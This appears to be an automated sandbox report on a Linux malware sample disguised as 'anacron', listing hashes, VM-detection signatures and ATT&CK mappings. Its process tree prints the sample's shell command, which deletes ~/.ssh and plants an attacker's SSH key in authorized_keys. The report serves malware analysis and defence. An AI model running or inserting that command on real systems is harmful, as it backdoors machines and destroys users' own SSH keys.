Analysis

  • max time kernel
    149s
  • max time network
    150s
  • platform
    ubuntu-22.04_amd64
  • resource
    ubuntu2204-amd64-20240522.1-en
  • resource tags

    arch:amd64arch:i386image:ubuntu2204-amd64-20240522.1-enkernel:5.15.0-105-genericlocale:en-usos:ubuntu-22.04-amd64system
  • submitted
    28-06-2024 12:54

General

  • Target

    .rsync/a/anacron

  • Size

    2.8MB

  • MD5

    8d5d71c56b1f807edac5ac734feab41a

  • SHA1

    ca2064303d74f5fec98d717f35cd8ee20e81b722

  • SHA256

    49da718733de850ddd7e871fee1d2f041508d28b9cfc58a822786151004a9c2c

  • SHA512

    514337791f6c2b71e9303899a6206f92eb905c780729008f3f754f256811332caa5d608662272a6eb3b1f3cf70d1ec528509bbe3f68c7960fc9df63c463fce3f

  • SSDEEP

    49152:m7rTifP8qyUnJ1jIYuOwxC7mQ595+T91hGtZ1:Irm38qyUnJ1jgx0B5evhG

Score
6/10

Malware Config

Signatures

  • Checks hardware identifiers (DMI) 1 TTPs 4 IoCs

    Checks DMI information which indicate if the system is a virtual machine.

  • Reads hardware information 1 TTPs 14 IoCs

    Accesses system info like serial numbers, manufacturer names etc.

  • Checks CPU configuration 1 TTPs 1 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads CPU attributes 1 TTPs 2 IoCs
  • Enumerates kernel/hardware configuration 1 TTPs 50 IoCs

    Reads contents of /sys virtual filesystem to enumerate system information.

  • Reads runtime system information 4 IoCs

    Reads data from /proc virtual filesystem.

Processes

  • /tmp/.rsync/a/anacron
    /tmp/.rsync/a/anacron
    1⤵
    • Checks hardware identifiers (DMI)
    • Reads hardware information
    • Checks CPU configuration
    • Reads CPU attributes
    • Enumerates kernel/hardware configuration
    • Reads runtime system information
    PID:1574
    • /bin/sh
      sh -c "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"
      2⤵
        PID:1575

    Network

    MITRE ATT&CK Matrix ATT&CK v13

    Defense Evasion

    Virtualization/Sandbox Evasion

    2
    T1497

    Discovery

    Virtualization/Sandbox Evasion

    2
    T1497

    System Information Discovery

    3
    T1082

    Replay Monitor

    Loading Replay Monitor...

    Downloads